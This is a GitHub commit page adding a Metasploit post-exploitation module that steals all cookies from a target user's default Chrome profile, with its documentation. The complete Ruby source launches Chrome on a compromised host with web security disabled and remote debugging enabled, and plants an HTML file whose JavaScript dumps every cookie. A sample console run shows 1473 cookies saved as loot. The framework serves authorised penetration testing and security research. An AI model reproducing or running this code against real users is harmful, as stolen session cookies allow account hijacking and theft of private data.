Permalink
Browse files

Land #11052, Add gather chrome cookies post module

  • Loading branch information...
jrobles-r7 committed Jan 8, 2019
2 parents 69ee3a4 + 8ca8206 commit c2da3dbbd359fce507fb76a77094beab9d7a4e84
@@ -0,0 +1,79 @@
## Gather Chrome Cookies

Uses [Headless Chrome](https://developers.google.com/web/updates/2017/04/headless-chrome) and [Chrome's Remote Debugging](https://chromedevtools.github.io/devtools-protocol/) to read all cookies from the Default Chrome profile of the user.

## Opsec

This writes to disk temporarily. You may want to consider the tradeoff between getting the user's Chrome cookies and the noisiness of writing to disk.

The module writes a random 10-15 character file containing HTML to a directory you can specify via `WRITABLE_DIR`.

## Vulnerable Application

This technique works on Chrome 59 or later on all operating systems. This module has been tested on Windows, Linux, and OSX. Windows shell sessions are currently not supported.

Chrome does not need to be running on the target machine for this module to work.

## Verification Steps

1. Obtain a session on the target machine
2. Do: ```use post/multi/gather/chrome_cookies```
3. Do: ```set SESSION <your session ID>```
4. Do: ```run```
5. The current user's Chrome cookies will be stored as loot

## Options

**CHROME_BINARY_PATH**

The path to the user's Chrome binary. On Linux this defaults to searching for `google-chrome` in `$PATH`. On macOS, this defaults to `/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'`. If the module doesn't find any cookies, it may be that a different Chrome binary to the one the user normally uses is being run. In that case, you can change the Chrome binary executed with this option.

**WRITABLE_DIR**

Directory used to write temporary files.

Two files are written, with random 10-15 character alphanumeric filenames. One file contains an html file for Chrome and the other is where the cookies are saved. Both files are deleted during cleanup.

**REMOTE_DEBUGGING_PORT**

Port to tell Chrome to expose Remote Debugging on. Default is the normal remote debugging port, `9222`.

## Scenarios

### Linux (or OS X)

Suppose you've got a session on the target machine.

To extract the target user's Chrome cookies

```
msf > use post/multi/gather/chrome_cookies
msf post(multi/gather/chrome_cookies) > options
Module options (post/multi/gather/chrome_cookies):
Name Current Setting Required Description
---- --------------- -------- -----------
CHROME_BINARY_PATH no The path to the user's Chrome binary (leave blank to use the default for the OS)
REMOTE_DEBUGGING_PORT 9222 no Port on target machine to use for remote debugging protocol
SESSION 1 yes The session to run this module on.
WRITABLE_DIR /tmp no Where to write the html used to steal cookies temporarily
msf post(multi/gather/chrome_cookies) > set session <your session id>
session => <your session id>
msf post(multi/gather/chrome_cookies) > run
[*] Activated Chrome's Remote Debugging via google-chrome --headless --disable-web-security --disable-plugins --user-data-dir="/home/<username>/.config/google-chrome/" --remote-debugging-port=9222 /tmp/qj9ADWM6Xqh
[+] 1473 Chrome Cookies stored in /home/<local_username>/.msf4/loot/20181209094655_default_127.0.0.1_chrome.gather.co_585357.txt
[*] Post module execution completed
```

## Future features

### Profiles
This module only extracts cookies from the default Chrome profile. The target may have multiple, and you may which to extract cookies from all of them. This would require enumerating and extracting the profiles by name. Example code to extract cookies from a non-default Chrome profile can be found at https://github.com/defaultnamehere/cookie_crimes.

## See also
See https://github.com/defaultnamehere/cookie_crimes for more information and manual instructions for Windows.

See https://mango.pdf.zone/stealing-chrome-cookies-without-a-password for the blog post in which this technique was first published.
@@ -0,0 +1,234 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::File

def initialize(info = {})
super(update_info(info,
'Name' => 'Chrome Gather Cookies',
'Description' =>
"Read all cookies from the Default Chrome profile of the target user.",
'License' => MSF_LICENSE,
'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],
'Platform' => %w[linux unix bsd osx windows],
'SessionTypes' => %w[meterpreter shell]))

register_options(
[
OptString.new('CHROME_BINARY_PATH', [false, "The path to the user's Chrome binary (leave blank to use the default for the OS)", '']),
OptString.new('WRITEABLE_DIR', [false, 'Where to write the html used to steal cookies temporarily, and the cookies. Leave blank to use the default for the OS (/tmp or AppData\\Local\\Temp)', ""]),
OptInt.new('REMOTE_DEBUGGING_PORT', [false, 'Port on target machine to use for remote debugging protocol', 9222])
]
)
end

def configure_for_platform
vprint_status('Determining session platform')
vprint_status("Platform: #{session.platform}")
vprint_status("Type: #{session.type}")

if session.platform == 'windows'
username = get_env('USERNAME').strip
else
username = cmd_exec 'id -un'
end

temp_storage_dir = datastore['WRITABLE_DIR']

case session.platform
when 'unix', 'linux', 'bsd', 'python'
chrome = 'google-chrome'
user_data_dir = "/home/#{username}/.config/google-chrome"
temp_storage_dir = temp_storage_dir.nil? ? "/tmp" : temp_storage_dir
@cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
when 'osx'
chrome = '"/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"'
user_data_dir = expand_path "/Users/#{username}/Library/Application Support/Google/Chrome"
temp_storage_dir = temp_storage_dir.nil? ? "/tmp" : temp_storage_dir
@cookie_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}"
when 'windows'
chrome = '"\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe"'
user_data_dir = "\\Users\\#{username}\\AppData\\Local\\Google\\Chrome\\User Data"
temp_storage_dir = temp_storage_dir.nil? ? "\\Users\\#{username}\\AppData\\Local\\Temp" : temp_storage_dir
@cookie_storage_path = "#{user_data_dir}\\chrome_debug.log"
else
fail_with Failure::NoTarget, "Unsupported platform: #{session.platform}"
end

unless datastore['CHROME_BINARY_PATH'].empty?
chrome = datastore['CHROME_BINARY_PATH']
end

=begin
# #writable? not supported on windows
unless writable? @temp_storage_dir
fail_with Failure::BadConfig, "#{@temp_storage_dir} is not writable"
end
=end

@html_storage_path = create_cookie_stealing_html(temp_storage_dir)

chrome_debugging_args = []

if session.platform == 'windows'
# `--headless` doesn't work on Windows, so use an offscreen window instead.
chrome_debugging_args << '--window-position=0,0'
chrome_debugging_args << '--enable-logging --v=1'
else
chrome_debugging_args << '--headless'
end

chrome_debugging_args_all_platforms = [
'--disable-translate',
'--disable-extensions',
'--disable-background-networking',
'--safebrowsing-disable-auto-update',
'--disable-sync',
'--metrics-recording-only',
'--disable-default-apps',
'--mute-audio',
'--no-first-run',
'--disable-web-security',
'--disable-plugins',
'--disable-gpu'
]

chrome_debugging_args << chrome_debugging_args_all_platforms
chrome_debugging_args << " --user-data-dir=\"#{user_data_dir}\""
chrome_debugging_args << " --remote-debugging-port=#{datastore['REMOTE_DEBUGGING_PORT']}"
chrome_debugging_args << " #{@html_storage_path}"

@chrome_debugging_cmd = "#{chrome} #{chrome_debugging_args.join(" ")}"
end

def create_cookie_stealing_html(temp_storage_dir)
cookie_stealing_html = %(
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>index.html</title>
</head>
<body>
<script>
var remoteDebuggingPort = #{datastore['REMOTE_DEBUGGING_PORT']};
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:" + remoteDebuggingPort + "/json");
request.responseType = 'json';
request.send();
request.onload = function() {
var webSocketDebuggerUrl = request.response[0].webSocketDebuggerUrl;
console.log(webSocketDebuggerUrl);
var connection = new WebSocket(webSocketDebuggerUrl);
connection.onopen = function () {
connection.send('{"id": 1, "method": "Network.getAllCookies"}');
};
connection.onmessage = function (e) {
var cookies_blob = JSON.stringify(JSON.parse(e.data).result.cookies);
console.log('REMOTE_DEBUGGING|' + cookies_blob);
};
}
</script>
</body>
</html>
)

# Where to temporarily store the cookie-stealing html
if session.platform == 'windows'
html_storage_path = "#{temp_storage_dir}\\#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
else
html_storage_path = "#{temp_storage_dir}/#{Rex::Text.rand_text_alphanumeric(10..15)}.html"
end

write_file(html_storage_path, cookie_stealing_html)
html_storage_path
end

def cleanup
if file?(@html_storage_path)
vprint_status("Removing file #{@html_storage_path}")
rm_f @html_storage_path
end

if file?(@cookie_storage_path)
vprint_status("Removing file #{@cookie_storage_path}")
rm_f @cookie_storage_path
end
end

def get_cookies
if session.platform == 'windows'
chrome_cmd = "#{@chrome_debugging_cmd}"
kill_cmd = 'taskkill /f /pid'
else
chrome_cmd = "#{@chrome_debugging_cmd} > #{@cookie_storage_path} 2>&1"
kill_cmd = 'kill -9'
end

if session.type == 'meterpreter'
chrome_pid = cmd_exec_get_pid(chrome_cmd)
print_status "Activated Chrome's Remote Debugging (pid: #{chrome_pid}) via #{chrome_cmd}"
Rex.sleep(5)

# read_file within if/else block because kill was terminating sessions on OSX during testing
chrome_output = read_file(@cookie_storage_path)

# Kills meterpreter only non-windows sessions
if session.platform == 'windows'
kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
end
else
# Using shell_command for backgrounding process (&)
client.shell_command("#{chrome_cmd} &")
print_status "Activated Chrome's Remote Debugging via #{chrome_cmd}"
Rex.sleep(5)

chrome_output = read_file(@cookie_storage_path)
end

cookies_msg = ''
chrome_output.each_line {|line|
if line =~ /REMOTE_DEBUGGING/
print_good('Found Match')
cookies_msg = line
end
}

fail_with(Failure::Unknown, 'Failed to retrieve cookie data') if cookies_msg.empty?

# Slice off the "REMOTE_DEBUGGING|" delimiter and trailing source info
cookies_json = cookies_msg.split("REMOTE_DEBUGGING|")[1]
cookies_json.split('", source: file')[0]
end

def save(msg, data, ctype = 'text/json')
ltype = 'chrome.gather.cookies'
loot = store_loot ltype, ctype, session, data, nil, msg
print_good "#{msg} stored in #{loot}"
end

def run
fail_with Failure::BadConfig, 'No session found, giving up' if session.nil?

# Issues with write_file. Maybe a path problem?
if session.platform == 'windows' && session.type == 'shell'
fail_with Failure::BadConfig, 'Windows shell session not support, giving up'
end

unless session.platform == 'windows' && session.type == 'meterpreter'
print_warning 'This module will leave a headless Chrome process running on the target machine.'
end

configure_for_platform
cookies = get_cookies
cookies_parsed = JSON.parse cookies
save "#{cookies_parsed.length} Chrome Cookies", cookies
end
end

0 comments on commit c2da3db

Please sign in to comment.